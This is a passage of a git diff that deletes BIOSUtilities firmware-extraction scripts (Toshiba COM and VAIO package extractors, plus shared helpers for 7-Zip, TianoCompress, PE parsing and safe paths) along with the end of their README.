**Prerequisites** - -To run the utility, you must have the following 3rd party Python module installed: - -* [pefile](https://pypi.org/project/pefile/) - -> pip3 install pefile - -Moreover, you must have the following 3rd party tool at the "external" project directory: - -* [TianoCompress](https://github.com/tianocore/edk2/tree/master/BaseTools/Source/C/TianoCompress/) (i.e. [TianoCompress.exe for Windows](https://github.com/tianocore/edk2-BaseTools-win32/) or TianoCompress for Linux) - -#### **Pictures** - -![]() - -## **Toshiba BIOS COM Extractor** - -![]() - -#### **Description** - -Parses Toshiba BIOS COM images and extracts their raw or compressed SPI/BIOS/UEFI firmware component. This utility is basically an easy to use python wrapper around [ToshibaComExtractor by LongSoft](https://github.com/LongSoft/ToshibaComExtractor). The output comprises only a final firmware component which is directly usable by end users. - -#### **Usage** - -You can either Drag & Drop or manually enter Toshiba BIOS COM image file(s). Optional arguments: - -* -h or --help : show help message and exit -* -v or --version : show utility name and version -* -i or --input-dir : extract from given input directory -* -o or --output-dir : extract in given output directory -* -e or --auto-exit : skip all user action prompts - -#### **Compatibility** - -Should work at all Windows, Linux or macOS operating systems which have Python 3.10 support. - -#### **Prerequisites** - -To run the utility, you must have the following 3rd party tool at the "external" project directory: - -* [ToshibaComExtractor](https://github.com/LongSoft/ToshibaComExtractor) (i.e. [comextract.exe for Windows or comextract for Linux](https://github.com/LongSoft/ToshibaComExtractor/releases)) - -#### **Pictures** - -![]() - -## **VAIO Packaging Manager Extractor** - -![]() - -#### **Description** - -Parses VAIO Packaging Manager executables and extracts their firmware (e.g. SPI, BIOS/UEFI, EC, ME etc), utilities (e.g. WBFLASH etc) and driver (audio, video etc) components. If direct extraction fails, it attempts to unlock the executable in order to run at all non-VAIO systems and allow the user to choose the extraction location. It supports all VAIO Packaging Manager revisions and formats, including those which contain obfuscated Microsoft CAB archives or obfuscated unlock values. The output comprises only final firmware components which are directly usable by end users. - -#### **Usage** - -You can either Drag & Drop or manually enter VAIO Packaging Manager executable file(s). Optional arguments: - -* -h or --help : show help message and exit -* -v or --version : show utility name and version -* -i or --input-dir : extract from given input directory -* -o or --output-dir : extract in given output directory -* -e or --auto-exit : skip all user action prompts - -#### **Compatibility** - -Should work at all Windows, Linux or macOS operating systems which have Python 3.10 support. - -#### **Prerequisites** - -To run the utility, you must have the following 3rd party tool at the "external" project directory: - -* [7-Zip Console](https://www.7-zip.org/) (i.e. 7z.exe for Windows or 7zzs for Linux) - -#### **Pictures** - -![]() \ No newline at end of file diff --git a/blobs/t480/biosutilities/Toshiba_COM_Extract.py b/blobs/t480/biosutilities/Toshiba_COM_Extract.py deleted file mode 100644 index da6ee4370..000000000 --- a/blobs/t480/biosutilities/Toshiba_COM_Extract.py +++ /dev/null @@ -1,63 +0,0 @@ -#!/usr/bin/env python3 -#coding=utf-8 - -""" -Toshiba COM Extract -Toshiba BIOS COM Extractor -Copyright (C) 2018-2022 Plato Mavropoulos -""" - -TITLE = 'Toshiba BIOS COM Extractor v2.0_a4' - -import os -import sys -import subprocess - -# Stop __pycache__ generation -sys.dont_write_bytecode = True - -from common.externals import get_comextract_path -from common.path_ops import make_dirs, path_stem, path_suffixes -from common.patterns import PAT_TOSHIBA_COM -from common.system import printer -from common.templates import BIOSUtility -from common.text_ops import file_to_bytes - -# Check if input is Toshiba BIOS COM image -def is_toshiba_com(in_file): - buffer = file_to_bytes(in_file) - - is_ext = path_suffixes(in_file)[-1].upper() == '.COM' if os.path.isfile(in_file) else True - - is_com = PAT_TOSHIBA_COM.search(buffer) - - return is_ext and is_com - -# Parse & Extract Toshiba BIOS COM image -def toshiba_com_extract(input_file, extract_path, padding=0): - if not os.path.isfile(input_file): - printer('Error: Could not find input file path!', padding) - - return 1 - - make_dirs(extract_path, delete=True) - - output_name = path_stem(input_file) - output_file = os.path.join(extract_path, f'{output_name}.bin') - - try: - subprocess.run([get_comextract_path(), input_file, output_file], check=True, stdout=subprocess.DEVNULL) - - if not os.path.isfile(output_file): - raise Exception('EXTRACT_FILE_MISSING') - except Exception: - printer(f'Error: ToshibaComExtractor could not extract file {input_file}!', padding) - - return 2 - - printer(f'Succesfull {output_name} extraction via ToshibaComExtractor!', padding) - - return 0 - -if __name__ == '__main__': - BIOSUtility(TITLE, is_toshiba_com, toshiba_com_extract).run_utility() diff --git a/blobs/t480/biosutilities/VAIO_Package_Extract.py b/blobs/t480/biosutilities/VAIO_Package_Extract.py deleted file mode 100644 index 9bb49bfee..000000000 --- a/blobs/t480/biosutilities/VAIO_Package_Extract.py +++ /dev/null @@ -1,147 +0,0 @@ -#!/usr/bin/env python3 -#coding=utf-8 - -""" -VAIO Package Extractor -VAIO Packaging Manager Extractor -Copyright (C) 2019-2022 Plato Mavropoulos -""" - -TITLE = 'VAIO Packaging Manager Extractor v3.0_a8' - -import os -import sys - -# Stop __pycache__ generation -sys.dont_write_bytecode = True - -from common.comp_szip import is_szip_supported, szip_decompress -from common.path_ops import make_dirs -from common.patterns import PAT_VAIO_CAB, PAT_VAIO_CFG, PAT_VAIO_CHK, PAT_VAIO_EXT -from common.system import printer -from common.templates import BIOSUtility -from common.text_ops import file_to_bytes - -# Check if input is VAIO Packaging Manager -def is_vaio_pkg(in_file): - buffer = file_to_bytes(in_file) - - return bool(PAT_VAIO_CFG.search(buffer)) - -# Extract VAIO Packaging Manager executable -def vaio_cabinet(name, buffer, extract_path, padding=0): - match_cab = PAT_VAIO_CAB.search(buffer) # Microsoft CAB Header XOR 0xFF - - if not match_cab: - return 1 - - printer('Detected obfuscated CAB archive!', padding) - - # Determine the Microsoft CAB image size - cab_size = int.from_bytes(buffer[match_cab.start() + 0x8:match_cab.start() + 0xC], 'little') # Get LE XOR-ed CAB size - xor_size = int.from_bytes(b'\xFF' * 0x4, 'little') # Create CAB size XOR value - cab_size ^= xor_size # Perform XOR 0xFF and get actual CAB size - - printer('Removing obfuscation...', padding + 4) - - # Determine the Microsoft CAB image Data - cab_data = int.from_bytes(buffer[match_cab.start():match_cab.start() + cab_size], 'big') # Get BE XOR-ed CAB data - xor_data = int.from_bytes(b'\xFF' * cab_size, 'big') # Create CAB data XOR value - cab_data = (cab_data ^ xor_data).to_bytes(cab_size, 'big') # Perform XOR 0xFF and get actual CAB data - - printer('Extracting archive...', padding + 4) - - cab_path = os.path.join(extract_path, f'{name}_Temporary.cab') - - with open(cab_path, 'wb') as cab_file: - cab_file.write(cab_data) # Create temporary CAB archive - - if is_szip_supported(cab_path, padding + 8, check=True): - if szip_decompress(cab_path, extract_path, 'CAB', padding + 8, check=True) == 0: - os.remove(cab_path) # Successful extraction, delete temporary CAB archive - else: - return 3 - else: - return 2 - - return 0 - -# Unlock VAIO Packaging Manager executable -def vaio_unlock(name, buffer, extract_path, padding=0): - match_cfg = PAT_VAIO_CFG.search(buffer) - - if not match_cfg: - return 1 - - printer('Attempting to Unlock executable!', padding) - - # Initialize VAIO Package Configuration file variables (assume overkill size of 0x500) - cfg_bgn,cfg_end,cfg_false,cfg_true = [match_cfg.start(), match_cfg.start() + 0x500, b'', b''] - - # Get VAIO Package Configuration file info, split at new_line and stop at payload DOS header (EOF) - cfg_info = buffer[cfg_bgn:cfg_end].split(b'\x0D\x0A\x4D\x5A')[0].replace(b'\x0D',b'').split(b'\x0A') - - printer('Retrieving True/False values...', padding + 4) - - # Determine VAIO Package Configuration file True & False values - for info in cfg_info: - if info.startswith(b'ExtractPathByUser='): - cfg_false = bytearray(b'0' if info[18:] in (b'0',b'1') else info[18:]) # Should be 0/No/False - if info.startswith(b'UseCompression='): - cfg_true = bytearray(b'1' if info[15:] in (b'0',b'1') else info[15:]) # Should be 1/Yes/True - - # Check if valid True/False values have been retrieved - if cfg_false == cfg_true or not cfg_false or not cfg_true: - printer('Error: Could not retrieve True/False values!', padding + 8) - return 2 - - printer('Adjusting UseVAIOCheck entry...', padding + 4) - - # Find and replace UseVAIOCheck entry from 1/Yes/True to 0/No/False - vaio_check = PAT_VAIO_CHK.search(buffer[cfg_bgn:]) - if vaio_check: - buffer[cfg_bgn + vaio_check.end():cfg_bgn + vaio_check.end() + len(cfg_true)] = cfg_false - else: - printer('Error: Could not find entry UseVAIOCheck!', padding + 8) - return 3 - - printer('Adjusting ExtractPathByUser entry...', padding + 4) - - # Find and replace ExtractPathByUser entry from 0/No/False to 1/Yes/True - user_path = PAT_VAIO_EXT.search(buffer[cfg_bgn:]) - if user_path: - buffer[cfg_bgn + user_path.end():cfg_bgn + user_path.end() + len(cfg_false)] = cfg_true - else: - printer('Error: Could not find entry ExtractPathByUser!', padding + 8) - return 4 - - printer('Storing unlocked executable...', padding + 4) - - # Store Unlocked VAIO Packaging Manager executable - if vaio_check and user_path: - unlock_path = os.path.join(extract_path, f'{name}_Unlocked.exe') - with open(unlock_path, 'wb') as unl_file: - unl_file.write(buffer) - - return 0 - -# Parse & Extract or Unlock VAIO Packaging Manager -def vaio_pkg_extract(input_file, extract_path, padding=0): - input_buffer = file_to_bytes(input_file) - - input_name = os.path.basename(input_file) - - make_dirs(extract_path, delete=True) - - if vaio_cabinet(input_name, input_buffer, extract_path, padding) == 0: - printer('Successfully Extracted!', padding) - elif vaio_unlock(input_name, bytearray(input_buffer), extract_path, padding) == 0: - printer('Successfully Unlocked!', padding) - else: - printer('Error: Failed to Extract or Unlock executable!', padding) - return 1 - - return 0 - -if __name__ == '__main__': - BIOSUtility(TITLE, is_vaio_pkg, vaio_pkg_extract).run_utility() diff --git a/blobs/t480/biosutilities/common/checksums.py b/blobs/t480/biosutilities/common/checksums.py deleted file mode 100644 index 3e958ab1b..000000000 --- a/blobs/t480/biosutilities/common/checksums.py +++ /dev/null @@ -1,25 +0,0 @@ -#!/usr/bin/env python3 -#coding=utf-8 - -""" -Copyright (C) 2022 Plato Mavropoulos -""" - -# Get Checksum 16-bit -def get_chk_16(data, value=0, order='little'): - for idx in range(0, len(data), 2): - # noinspection PyTypeChecker - value += int.from_bytes(data[idx:idx + 2], order) - - value &= 0xFFFF - - return value - -# Get Checksum 8-bit XOR -def get_chk_8_xor(data, value=0): - for byte in data: - value ^= byte - - value ^= 0x0 - - return value diff --git a/blobs/t480/biosutilities/common/comp_efi.py b/blobs/t480/biosutilities/common/comp_efi.py deleted file mode 100644 index 2837898bc..000000000 --- a/blobs/t480/biosutilities/common/comp_efi.py +++ /dev/null @@ -1,57 +0,0 @@ -#!/usr/bin/env python3 -#coding=utf-8 - -""" -Copyright (C) 2022 Plato Mavropoulos -""" - -import os -import subprocess - -from common.path_ops import project_root, safe_path -from common.system import get_os_ver, printer - -def get_compress_sizes(data): - size_compress = int.from_bytes(data[0x0:0x4], 'little') - size_original = int.from_bytes(data[0x4:0x8], 'little') - - return size_compress, size_original - -def is_efi_compressed(data, strict=True): - size_comp,size_orig = get_compress_sizes(data) - - check_diff = size_comp < size_orig - - if strict: - check_size = size_comp + 0x8 == len(data) - else: - check_size = size_comp + 0x8 <= len(data) - - return check_diff and check_size - -# Get TianoCompress path -def get_tiano_path(): - exec_name = f'TianoCompress{".exe" if get_os_ver()[1] else ""}' - - return safe_path(project_root(), ['external',exec_name]) - -# EFI/Tiano Decompression via TianoCompress -def efi_decompress(in_path, out_path, padding=0, silent=False, comp_type='--uefi'): - try: - subprocess.run([get_tiano_path(), '-d', in_path, '-o', out_path, '-q', comp_type], check=True, stdout=subprocess.DEVNULL) - - with open(in_path, 'rb') as file: - _,size_orig = get_compress_sizes(file.read()) - - if os.path.getsize(out_path) != size_orig: - raise Exception('EFI_DECOMPRESS_ERROR') - except Exception: - if not silent: - printer(f'Error: TianoCompress could not extract file {in_path}!', padding) - - return 1 - - if not silent: - printer('Succesfull EFI decompression via TianoCompress!', padding) - - return 0 diff --git a/blobs/t480/biosutilities/common/comp_szip.py b/blobs/t480/biosutilities/common/comp_szip.py deleted file mode 100644 index fb6041b82..000000000 --- a/blobs/t480/biosutilities/common/comp_szip.py +++ /dev/null @@ -1,72 +0,0 @@ -#!/usr/bin/env python3 -#coding=utf-8 - -""" -Copyright (C) 2022 Plato Mavropoulos -""" - -import os -import subprocess - -from common.path_ops import project_root, safe_path -from common.system import get_os_ver, printer - -# Get 7-Zip path -def get_szip_path(): - exec_name = '7z.exe' if get_os_ver()[1] else '7zzs' - - return safe_path(project_root(), ['external',exec_name]) - -# Check 7-Zip bad exit codes (0 OK, 1 Warning) -def check_bad_exit_code(exit_code): - if exit_code not in (0,1): - raise Exception(f'BAD_EXIT_CODE_{exit_code}') - -# Check if file is 7-Zip supported -def is_szip_supported(in_path, padding=0, args=None, check=False, silent=False): - try: - if args is None: - args = [] - - szip_c = [get_szip_path(), 't', in_path, *args, '-bso0', '-bse0', '-bsp0'] - - szip_t = subprocess.run(szip_c, check=False) - - if check: - check_bad_exit_code(szip_t.returncode) - except Exception: - if not silent: - printer(f'Error: 7-Zip could not check support for file {in_path}!', padding) - - return False - - return True - -# Archive decompression via 7-Zip -def szip_decompress(in_path, out_path, in_name, padding=0, args=None, check=False, silent=False): - if not in_name: - in_name = 'archive' - - try: - if args is None: - args = [] - - szip_c = [get_szip_path(), 'x', *args, '-aou', '-bso0', '-bse0', '-bsp0', f'-o{out_path}', in_path] - - szip_x = subprocess.run(szip_c, check=False) - - if check: - check_bad_exit_code(szip_x.returncode) - - if not os.path.isdir(out_path): - raise Exception('EXTRACT_DIR_MISSING') - except Exception: - if not silent: - printer(f'Error: 7-Zip could not extract {in_name} file {in_path}!', padding) - - return 1 - - if not silent: - printer(f'Succesfull {in_name} decompression via 7-Zip!', padding) - - return 0 diff --git a/blobs/t480/biosutilities/common/externals.py b/blobs/t480/biosutilities/common/externals.py deleted file mode 100644 index f81e3b912..000000000 --- a/blobs/t480/biosutilities/common/externals.py +++ /dev/null @@ -1,38 +0,0 @@ -#!/usr/bin/env python3 -#coding=utf-8 - -""" -Copyright (C) 2022 Plato Mavropoulos -""" - -from common.path_ops import project_root, safe_path -from common.system import get_os_ver - -# https://github.com/allowitsme/big-tool by Dmitry Frolov -# https://github.com/platomav/BGScriptTool by Plato Mavropoulos -def get_bgs_tool(): - try: - # noinspection PyUnresolvedReferences - from external.big_script_tool import BigScript # pylint: disable=E0401,E0611 - except Exception: - BigScript = None - - return BigScript - -# Get UEFIFind path -def get_uefifind_path(): - exec_name = f'UEFIFind{".exe" if get_os_ver()[1] else ""}' - - return safe_path(project_root(), ['external', exec_name]) - -# Get UEFIExtract path -def get_uefiextract_path(): - exec_name = f'UEFIExtract{".exe" if get_os_ver()[1] else ""}' - - return safe_path(project_root(), ['external', exec_name]) - -# Get ToshibaComExtractor path -def get_comextract_path(): - exec_name = f'comextract{".exe" if get_os_ver()[1] else ""}' - - return safe_path(project_root(), ['external', exec_name]) diff --git a/blobs/t480/biosutilities/common/num_ops.py b/blobs/t480/biosutilities/common/num_ops.py deleted file mode 100644 index c37e4d742..000000000 --- a/blobs/t480/biosutilities/common/num_ops.py +++ /dev/null @@ -1,14 +0,0 @@ -#!/usr/bin/env python3 -#coding=utf-8 - -""" -Copyright (C) 2022 Plato Mavropoulos -""" - -# https://leancrew.com/all-this/2020/06/ordinals-in-python/ by Dr. Drang -def get_ordinal(number): - s = ('th', 'st', 'nd', 'rd') + ('th',) * 10 - - v = number % 100 - - return f'{number}{s[v % 10]}' if v > 13 else f'{number}{s[v]}' diff --git a/blobs/t480/biosutilities/common/path_ops.py b/blobs/t480/biosutilities/common/path_ops.py deleted file mode 100644 index bcff167b7..000000000 --- a/blobs/t480/biosutilities/common/path_ops.py +++ /dev/null @@ -1,154 +0,0 @@ -#!/usr/bin/env python3 -#coding=utf-8 - -""" -Copyright (C) 2022 Plato Mavropoulos -""" - -import os -import re -import sys -import stat -import shutil -from pathlib import Path, PurePath - -from common.text_ops import is_encased, to_string - -# Fix illegal/reserved Windows characters -def safe_name(in_name): - name_repr = repr(in_name).strip("'") - - return re.sub(r'[\\/:"*?<>|]+', '_', name_repr) - -# Check and attempt to fix illegal/unsafe OS path traversals -def safe_path(base_path, user_paths): - # Convert base path to absolute path - base_path = real_path(base_path) - - # Merge user path(s) to string with OS separators - user_path = to_string(user_paths, os.sep) - - # Create target path from base + requested user path - target_path = norm_path(base_path, user_path) - - # Check if target path is OS illegal/unsafe - if is_safe_path(base_path, target_path): - return target_path - - # Re-create target path from base + leveled/safe illegal "path" (now file) - nuked_path = norm_path(base_path, safe_name(user_path)) - - # Check if illegal path leveling worked - if is_safe_path(base_path, nuked_path): - return nuked_path - - # Still illegal, raise exception to halt execution - raise Exception(f'ILLEGAL_PATH_TRAVERSAL: {user_path}') - -# Check for illegal/unsafe OS path traversal -def is_safe_path(base_path, target_path): - base_path = real_path(base_path) - - target_path = real_path(target_path) - - common_path = os.path.commonpath((base_path, target_path)) - - return base_path == common_path - -# Create normalized base path + OS separator + user path -def norm_path(base_path, user_path): - return os.path.normpath(base_path + os.sep + user_path) - -# Get absolute path, resolving any symlinks -def real_path(in_path): - return os.path.realpath(in_path) - -# Get Windows/Posix OS agnostic path -def agnostic_path(in_path): - return PurePath(in_path.replace('\\', os.sep)) - -# Get absolute parent of path -def path_parent(in_path): - return Path(in_path).parent.absolute() - -# Get final path component, with suffix -def path_name(in_path): - return PurePath(in_path).name - -# Get final path component, w/o suffix -def path_stem(in_path): - return PurePath(in_path).stem - -# Get list of path file extensions -def path_suffixes(in_path): - return PurePath(in_path).suffixes or [''] - -# Check if path is absolute -def is_path_absolute(in_path): - return Path(in_path).is_absolute() - -# Create folder(s), controlling parents, existence and prior deletion -def make_dirs(in_path, parents=True, exist_ok=False, delete=False): - if delete: - del_dirs(in_path) - - Path.mkdir(Path(in_path), parents=parents, exist_ok=exist_ok) - -# Delete folder(s), if present -def del_dirs(in_path): - if Path(in_path).is_dir(): - shutil.rmtree(in_path, onerror=clear_readonly) - -# Copy file to path with or w/o metadata -def copy_file(in_path, out_path, meta=False): - if meta: - shutil.copy2(in_path, out_path) - else: - shutil.copy(in_path, out_path) - -# Clear read-only file attribute (on shutil.rmtree error) -def clear_readonly(in_func, in_path, _): - os.chmod(in_path, stat.S_IWRITE) - in_func(in_path) - -# Walk path to get all files -def get_path_files(in_path): - path_files = [] - - for root, _, files in os.walk(in_path): - for name in files: - path_files.append(os.path.join(root, name)) - - return path_files - -# Get path without leading/trailing quotes -def get_dequoted_path(in_path): - out_path = to_string(in_path).strip() - - if len(out_path) >= 2 and is_encased(out_path, ("'",'"')): - out_path = out_path[1:-1] - - return out_path - -# Set utility extraction stem -def extract_suffix(): - return '_extracted' - -# Get utility extraction path -def get_extract_path(in_path, suffix=extract_suffix()): - return f'{in_path}{suffix}' - -# Get project's root directory -def project_root(): - root = Path(__file__).parent.parent - - return real_path(root) - -# Get runtime's root directory -def runtime_root(): - if getattr(sys, 'frozen', False): - root = Path(sys.executable).parent - else: - root = project_root() - - return real_path(root) diff --git a/blobs/t480/biosutilities/common/patterns.py b/blobs/t480/biosutilities/common/patterns.py deleted file mode 100644 index ecdde3931..000000000 --- a/blobs/t480/biosutilities/common/patterns.py +++ /dev/null @@ -1,34 +0,0 @@ -#!/usr/bin/env python3 -#coding=utf-8 - -""" -Copyright (C) 2022 Plato Mavropoulos -""" - -import re - -PAT_AMI_PFAT = re.compile(br'_AMIPFAT.AMI_BIOS_GUARD_FLASH_CONFIGURATIONS', re.DOTALL) -PAT_AMI_UCP = re.compile(br'@(UAF|HPU).{12}@', re.DOTALL) -PAT_APPLE_EFI = re.compile(br'\$IBIOSI\$.{16}\x2E\x00.{6}\x2E\x00.{8}\x2E\x00.{6}\x2E\x00.{20}\x00{2}', re.DOTALL) -PAT_APPLE_IM4P = re.compile(br'\x16\x04IM4P\x16\x04mefi') -PAT_APPLE_PBZX = re.compile(br'pbzx') -PAT_APPLE_PKG = re.compile(br'xar!') -PAT_AWARD_LZH = re.compile(br'-lh[04567]-') -PAT_DELL_FTR = re.compile(br'\xEE\xAA\xEE\x8F\x49\x1B\xE8\xAE\x14\x37\x90') -PAT_DELL_HDR = re.compile(br'\xEE\xAA\x76\x1B\xEC\xBB\x20\xF1\xE6\x51.\x78\x9C', re.DOTALL) -PAT_DELL_PKG = re.compile(br'\x72\x13\x55\x00.{45}7zXZ', re.DOTALL) -PAT_FUJITSU_SFX = re.compile(br'FjSfxBinay\xB2\xAC\xBC\xB9\xFF{4}.{4}\xFF{4}.{4}\xFF{4}\xFC\xFE', re.DOTALL) -PAT_INSYDE_IFL = re.compile(br'\$_IFLASH') -PAT_INSYDE_SFX = re.compile(br'\x0D\x0A;!@InstallEnd@!\x0D\x0A(7z\xBC\xAF\x27|\x6E\xF4\x79\x5F\x4E)') -PAT_INTEL_ENG = re.compile(br'\x04\x00{3}[\xA1\xE1]\x00{3}.{8}\x86\x80.{9}\x00\$((MN2)|(MAN))', re.DOTALL) -PAT_INTEL_IFD = re.compile(br'\x5A\xA5\xF0\x0F.{172}\xFF{16}', re.DOTALL) -PAT_MICROSOFT_CAB = re.compile(br'MSCF\x00{4}') -PAT_MICROSOFT_MZ = re.compile(br'MZ') -PAT_MICROSOFT_PE = re.compile(br'PE\x00{2}') -PAT_PHOENIX_TDK = re.compile(br'\$PACK\x00{3}..\x00{2}.\x00{3}', re.DOTALL) -PAT_PORTWELL_EFI = re.compile(br'') -PAT_TOSHIBA_COM = re.compile(br'\x00{2}[\x00-\x02]BIOS.{20}[\x00\x01]', re.DOTALL) -PAT_VAIO_CAB = re.compile(br'\xB2\xAC\xBC\xB9\xFF{4}.{4}\xFF{4}.{4}\xFF{4}\xFC\xFE', re.DOTALL) -PAT_VAIO_CFG = re.compile(br'\[Setting]\x0D\x0A') -PAT_VAIO_CHK = re.compile(br'\x0AUseVAIOCheck=') -PAT_VAIO_EXT = re.compile(br'\x0AExtractPathByUser=') diff --git a/blobs/t480/biosutilities/common/pe_ops.py b/blobs/t480/biosutilities/common/pe_ops.py deleted file mode 100644 index ba23828d6..000000000 --- a/blobs/t480/biosutilities/common/pe_ops.py +++ /dev/null @@ -1,49 +0,0 @@ -#!/usr/bin/env python3 -#coding=utf-8 - -""" -Copyright (C) 2022 Plato Mavropoulos -""" - -import pefile - -from common.system import printer -from common.text_ops import file_to_bytes - -# Check if input is a PE file -def is_pe_file(in_file): - return bool(get_pe_file(in_file)) - -# Get pefile object from PE file -def get_pe_file(in_file, fast=True): - in_buffer = file_to_bytes(in_file) - - try: - # Analyze detected MZ > PE image buffer - pe_file = pefile.PE(data=in_buffer, fast_load=fast) - except Exception: - pe_file = None - - return pe_file - -# Get PE info from pefile object -def get_pe_info(pe_file): - try: - # When fast_load is used, IMAGE_DIRECTORY_ENTRY_RESOURCE must be parsed prior to FileInfo > StringTable - pe_file.parse_data_directories(directories=[pefile.DIRECTORY_ENTRY['IMAGE_DIRECTORY_ENTRY_RESOURCE']]) - - # Retrieve MZ > PE > FileInfo > StringTable information - pe_info = pe_file.FileInfo[0][0].StringTable[0].entries - except Exception: - pe_info = {} - - return pe_info - -# Print PE info from pefile StringTable -def show_pe_info(pe_info, padding=0): - if type(pe_info).__name__ == 'dict': - for title,value in pe_info.items(): - info_title = title.decode('utf-8','ignore').strip() - info_value = value.decode('utf-8','ignore').strip() - if info_title and info_value: - printer(f'{info_title}: {info_value}', padding, new_line=False) diff --git a/blobs/t480/biosutilities/common/struct_ops.py b/blobs/t480/biosutilities/common/struct_ops.py deleted file mode 100644 index b995ba140..000000000 --- a/blobs/t480/biosutilities/common/struct_ops.py +++ /dev/null @@ -1,28 +0,0 @@ -#!/usr/bin/env python3 -#coding=utf-8 - -""" -Copyright (C) 2022 Plato Mavropoulos -""" - -import ctypes - -char = ctypes.c_char -uint8_t = ctypes.c_ubyte -uint16_t = ctypes.c_ushort -uint32_t = ctypes.c_uint -uint64_t = ctypes.c_uint64 - -# https://github.com/skochinsky/me-tools/blob/master/me_unpack.py by Igor Skochinsky -def get_struct(buffer, start_offset, class_name, param_list=None): - if param_list is None: - param_list = [] - - structure = class_name(*param_list) # Unpack parameter list - struct_len = ctypes.sizeof(structure) - struct_data = buffer[start_offset:start_offset + struct_len] - fit_len = min(len(struct_data), struct_len) - - ctypes.memmove(ctypes.addressof(structure), struct_data, fit_len) - - return structure diff --git a/blobs/t480/biosutilities/common/system.py b/blobs/t480/biosutilities/common/system.py deleted file mode 100644 index 9598e3026..000000000 --- a/blobs/t480/biosutilities/common/system.py +++ /dev/null @@ -1,68 +0,0 @@ -#!/usr/bin/env python3 -#coding=utf-8 - -""" -Copyright (C) 2022 Plato Mavropoulos -""" - -import sys - -from common.text_ops import padder, to_string - -# Get Python Version (tuple) -def get_py_ver(): - return sys.version_info - -# Get OS Platform (string) -def get_os_ver(): - sys_os = sys.platform - - is_win = sys_os == 'win32' - is_lnx = sys_os.startswith('linux') or sys_os == 'darwin' or sys_os.find('bsd') != -1 - - return sys_os, is_win, is_win or is_lnx - -# Check for --auto-exit|-e -def is_auto_exit(): - return bool('--auto-exit' in sys.argv or '-e' in sys.argv) - -# Check Python Version -def check_sys_py(): - sys_py = get_py_ver() - - if sys_py < (3,10): - sys.stdout.write(f'\nError: Python >= 3.10 required, not {sys_py[0]}.{sys_py[1]}!') - - if not is_auto_exit(): - # noinspection PyUnresolvedReferences - (raw_input if sys_py[0] <= 2 else input)('\nPress enter to exit') # pylint: disable=E0602 - - sys.exit(125) - -# Check OS Platform -def check_sys_os(): - os_tag,os_win,os_sup = get_os_ver() - - if not os_sup: - printer(f'Error: Unsupported platform "{os_tag}"!') - - if not is_auto_exit(): - input('\nPress enter to exit') - - sys.exit(126) - - # Fix Windows Unicode console redirection - if os_win: - sys.stdout.reconfigure(encoding='utf-8') - -# Show message(s) while controlling padding, newline, pausing & separator -def printer(in_message='', padd_count=0, new_line=True, pause=False, sep_char=' '): - message = to_string(in_message, sep_char) - - padding = padder(padd_count) - - newline = '\n' if new_line else '' - - output = newline + padding + message - - (input if pause and not is_auto_exit() else print)(output) diff --git a/blobs/t480/biosutilities/common/templates.py b/blobs/t480/biosutilities/common/templates.py deleted file mode 100644 index f69af33f1..000000000 --- a/blobs/t480/biosutilities/common/templates.py +++ /dev/null @@ -1,162 +0,0 @@ -#!/usr/bin/env python3 -#coding=utf-8 - -""" -Copyright (C) 2022 Plato Mavropoulos -""" - -import os -import sys -import ctypes -import argparse -import traceback - -from common.num_ops import get_ordinal -from common.path_ops import get_dequoted_path, get_extract_path, get_path_files, is_path_absolute, path_parent, runtime_root, safe_path -from common.system import check_sys_os, check_sys_py, get_os_ver, is_auto_exit, printer - -class BIOSUtility: - - MAX_FAT32_ITEMS = 65535 - - def __init__(self, title, check, main, padding=0): - self._title = title - self._main = main - self._check = check - self._padding = padding - self._arguments_kw = {} - - # Initialize argparse argument parser - self._argparser = argparse.ArgumentParser() - - self._argparser.add_argument('files', type=argparse.FileType('r', encoding='utf-8'), nargs='*') - self._argparser.add_argument('-e', '--auto-exit', help='skip all user action prompts', action='store_true') - self._argparser.add_argument('-v', '--version', help='show utility name and version', action='store_true') - self._argparser.add_argument('-o', '--output-dir', help='extract in given output directory') - self._argparser.add_argument('-i', '--input-dir', help='extract from given input directory') - - self._arguments,self._arguments_unk = self._argparser.parse_known_args() - - # Managed Python exception handler - sys.excepthook = self._exception_handler - - # Check Python Version - check_sys_py() - - # Check OS Platform - check_sys_os() - - # Show Script Title - printer(self._title, new_line=False) - - # Show Utility Version on demand - if self._arguments.version: - sys.exit(0) - - # Set console/terminal window title (Windows only) - if get_os_ver()[1]: - ctypes.windll.kernel32.SetConsoleTitleW(self._title) - - # Process input files and generate output path - self._process_input_files() - - # Count input files for exit code - self._exit_code = len(self._input_files) - - def parse_argument(self, *args, **kwargs): - _dest = self._argparser.add_argument(*args, **kwargs).dest - self._arguments = self._argparser.parse_known_args(self._arguments_unk)[0] - self._arguments_kw.update({_dest: self._arguments.__dict__[_dest]}) - - def run_utility(self): - for _input_file in self._input_files: - _input_name = os.path.basename(_input_file) - - printer(['***', _input_name], self._padding) - - if not self._check(_input_file): - printer('Error: This is not a supported input!', self._padding + 4) - - continue # Next input file - - _extract_path = os.path.join(self._output_path, get_extract_path(_input_name)) - - if os.path.isdir(_extract_path): - for _suffix in range(2, self.MAX_FAT32_ITEMS): - _renamed_path = f'{os.path.normpath(_extract_path)}_{get_ordinal(_suffix)}' - - if not os.path.isdir(_renamed_path): - _extract_path = _renamed_path - - break # Extract path is now unique - - if self._main(_input_file, _extract_path, self._padding + 4, **self._arguments_kw) in [0, None]: - self._exit_code -= 1 - - printer('Done!', pause=True) - - sys.exit(self._exit_code) - - # Process input files - def _process_input_files(self): - self._input_files = [] - - if len(sys.argv) >= 2: - # Drag & Drop or CLI - if self._arguments.input_dir: - _input_path_user = self._arguments.input_dir - _input_path_full = self._get_input_path(_input_path_user) if _input_path_user else '' - self._input_files = get_path_files(_input_path_full) - else: - # Parse list of input files (i.e. argparse FileType objects) - for _file_object in self._arguments.files: - # Store each argparse FileType object's name (i.e. path) - self._input_files.append(_file_object.name) - # Close each argparse FileType object (i.e. allow input file changes) - _file_object.close() - - # Set output fallback value for missing argparse Output and Input Path - _output_fallback = path_parent(self._input_files[0]) if self._input_files else None - - # Set output path via argparse Output path or argparse Input path or first input file path - _output_path = self._arguments.output_dir or self._arguments.input_dir or _output_fallback - else: - # Script w/o parameters - _input_path_user = get_dequoted_path(input('\nEnter input directory path: ')) - _input_path_full = self._get_input_path(_input_path_user) if _input_path_user else '' - self._input_files = get_path_files(_input_path_full) - - _output_path = get_dequoted_path(input('\nEnter output directory path: ')) - - self._output_path = self._get_input_path(_output_path) - - # Get absolute input file path - @staticmethod - def _get_input_path(input_path): - if not input_path: - # Use runtime directory if no user path is specified - absolute_path = runtime_root() - else: - # Check if user specified path is absolute - if is_path_absolute(input_path): - absolute_path = input_path - # Otherwise, make it runtime directory relative - else: - absolute_path = safe_path(runtime_root(), input_path) 